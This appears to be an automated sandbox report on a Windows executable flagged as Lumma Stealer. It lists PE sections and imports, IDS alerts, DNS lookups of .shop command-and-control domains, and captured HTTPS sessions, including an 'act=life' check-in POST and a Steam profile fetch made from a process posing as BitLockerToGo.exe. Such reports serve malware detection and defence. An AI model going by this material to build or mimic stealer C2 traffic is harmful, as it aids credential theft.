.tls	0xcf3000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xcf4000	0x33f2f	0x34000	1867f5914e50b43c6feb6ebe36589329	False	0.11912184495192307	data	4.062097483566672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xd28000	0x1d8b4	0x1da00	b5504400ca42ae08420f2866c869a5df	False	0.22093387394514769	data	5.445753000800914	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xcf4168	0x3334c	Device independent bitmap graphic, 225 x 450 x 32, image size 202500			0.11429388767044912
RT_GROUP_ICON	0xd274b4	0x14	data			1.2
RT_VERSION	0xd274c8	0x340	data	English	United States	0.4230769230769231
RT_MANIFEST	0xd27808	0x727	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4265428727471327

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredContinueHandler, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlLookupFunctionEntry, RtlVirtualUnwind, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Exports

Name	Ordinal	Address
_cgo_dummy_export	1	0x140ced690

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T14:55:29.335432+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49716	172.67.188.210	443	TCP
2024-10-02T14:55:29.335432+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49716	172.67.188.210	443	TCP
2024-10-02T14:55:29.359107+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.8	57693	1.1.1.1	53	UDP
2024-10-02T14:55:29.371418+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.8	49364	1.1.1.1	53	UDP
2024-10-02T14:55:29.383142+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.8	59759	1.1.1.1	53	UDP
2024-10-02T14:55:29.464436+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.8	59623	1.1.1.1	53	UDP
2024-10-02T14:55:29.551416+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.8	60353	1.1.1.1	53	UDP
2024-10-02T14:55:29.563128+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.8	54180	1.1.1.1	53	UDP
2024-10-02T14:55:29.573766+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.8	63806	1.1.1.1	53	UDP
2024-10-02T14:55:29.584440+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.8	64498	1.1.1.1	53	UDP
2024-10-02T14:55:32.267885+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49718	172.67.209.193	443	TCP
2024-10-02T14:55:32.267885+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49718	172.67.209.193	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 14:55:28.190203905 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.190253019 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:28.190323114 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.193065882 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.193083048 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:28.663266897 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:28.663358927 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.718578100 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.718607903 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:28.718962908 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:28.759210110 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.875998974 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.876028061 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:28.876311064 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:29.335443020 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:29.335685015 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:29.335892916 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:29.336931944 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:29.336951017 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:29.336963892 CEST	49716	443	192.168.2.8	172.67.188.210
Oct 2, 2024 14:55:29.336970091 CEST	443	49716	172.67.188.210	192.168.2.8
Oct 2, 2024 14:55:29.603353024 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:29.603404999 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:29.603475094 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:29.603775024 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:29.603782892 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.249186993 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.249279976 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.250813961 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.250823021 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.251056910 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.252469063 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.299406052 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.796559095 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.796581984 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.796596050 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.796633959 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.796663046 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.796679974 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.796705008 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.900701046 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.900719881 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.900820971 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.900861025 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.901596069 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.906116009 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.906168938 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.906198978 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.906217098 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.906256914 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.906390905 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.906408072 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.906433105 CEST	49717	443	192.168.2.8	104.102.49.254
Oct 2, 2024 14:55:30.906439066 CEST	443	49717	104.102.49.254	192.168.2.8
Oct 2, 2024 14:55:30.931730032 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:30.931761980 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:30.931837082 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:30.932135105 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:30.932147026 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:31.799834967 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:31.799985886 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:31.801623106 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:31.801637888 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:31.802052975 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:31.803328037 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:31.803368092 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:31.803409100 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:32.267947912 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:32.268125057 CEST	443	49718	172.67.209.193	192.168.2.8
Oct 2, 2024 14:55:32.268181086 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:32.268420935 CEST	49718	443	192.168.2.8	172.67.209.193
Oct 2, 2024 14:55:32.268440008 CEST	443	49718	172.67.209.193	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 14:55:28.171967030 CEST	59512	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:28.185643911 CEST	53	59512	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.359107018 CEST	57693	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.368637085 CEST	53	57693	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.371417999 CEST	49364	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.380625963 CEST	53	49364	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.383141994 CEST	59759	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.461071014 CEST	53	59759	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.464436054 CEST	59623	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.547616959 CEST	53	59623	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.551415920 CEST	60353	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.560189009 CEST	53	60353	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.563127995 CEST	54180	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.572525978 CEST	53	54180	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.573765993 CEST	63806	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.582690001 CEST	53	63806	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.584439993 CEST	64498	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.593302965 CEST	53	64498	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:29.596159935 CEST	60828	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:29.602756023 CEST	53	60828	1.1.1.1	192.168.2.8
Oct 2, 2024 14:55:30.920080900 CEST	65456	53	192.168.2.8	1.1.1.1
Oct 2, 2024 14:55:30.930160999 CEST	53	65456	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 14:55:28.171967030 CEST	192.168.2.8	1.1.1.1	0xefdc	Standard query (0)	dividenntykw.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.359107018 CEST	192.168.2.8	1.1.1.1	0xe18b	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.371417999 CEST	192.168.2.8	1.1.1.1	0xe3ae	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.383141994 CEST	192.168.2.8	1.1.1.1	0x129d	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.464436054 CEST	192.168.2.8	1.1.1.1	0xf474	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.551415920 CEST	192.168.2.8	1.1.1.1	0x92a6	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.563127995 CEST	192.168.2.8	1.1.1.1	0x542b	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.573765993 CEST	192.168.2.8	1.1.1.1	0x45d4	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.584439993 CEST	192.168.2.8	1.1.1.1	0xfb48	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.596159935 CEST	192.168.2.8	1.1.1.1	0x3e2b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:30.920080900 CEST	192.168.2.8	1.1.1.1	0x3f47	Standard query (0)	gravvitywio.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 14:55:28.185643911 CEST	1.1.1.1	192.168.2.8	0xefdc	No error (0)	dividenntykw.shop		172.67.188.210	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:28.185643911 CEST	1.1.1.1	192.168.2.8	0xefdc	No error (0)	dividenntykw.shop		104.21.8.235	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.368637085 CEST	1.1.1.1	192.168.2.8	0xe18b	Name error (3)	gutterydhowi.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.380625963 CEST	1.1.1.1	192.168.2.8	0xe3ae	Name error (3)	ghostreedmnu.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.461071014 CEST	1.1.1.1	192.168.2.8	0x129d	Name error (3)	offensivedzvju.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.547616959 CEST	1.1.1.1	192.168.2.8	0xf474	Name error (3)	vozmeatillu.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.560189009 CEST	1.1.1.1	192.168.2.8	0x92a6	Name error (3)	drawzhotdog.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.572525978 CEST	1.1.1.1	192.168.2.8	0x542b	Name error (3)	fragnantbui.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.582690001 CEST	1.1.1.1	192.168.2.8	0x45d4	Name error (3)	stogeneratmns.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.593302965 CEST	1.1.1.1	192.168.2.8	0xfb48	Name error (3)	reinforcenh.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:29.602756023 CEST	1.1.1.1	192.168.2.8	0x3e2b	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:30.930160999 CEST	1.1.1.1	192.168.2.8	0x3f47	No error (0)	gravvitywio.store		172.67.209.193	A (IP address)	IN (0x0001)	false
Oct 2, 2024 14:55:30.930160999 CEST	1.1.1.1	192.168.2.8	0x3f47	No error (0)	gravvitywio.store		104.21.16.12	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dividenntykw.shop

steamcommunity.com

gravvitywio.store

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	172.67.188.210	443	6736	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 12:55:28 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: dividenntykw.shop
2024-10-02 12:55:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 12:55:29 UTC	772	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 12:55:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=93qie3uvbdrq89379gj5k2j0as; expires=Sun, 26 Jan 2025 06:42:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RBlE5AhvJtISe6SJJxOde8pcHsnDtT1s2f2IB8UxyQO5jmm6wss39orC2HLCk%2BtTdK3usNSBR25TaG4oPdmWNFi05tWsj6enHwqZtY1Lqmrs61QbHVO9drYaANfmmoZrZf41%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc4d8d5c8ac0ce9-EWR
2024-10-02 12:55:29 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 12:55:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49717	104.102.49.254	443	6736	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 12:55:30 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-02 12:55:30 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 12:55:30 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=1e3031f20caafb608e56075f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 12:55:30 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 12:55:30 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-02 12:55:30 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-02 12:55:30 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49718	172.67.209.193	443	6736	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
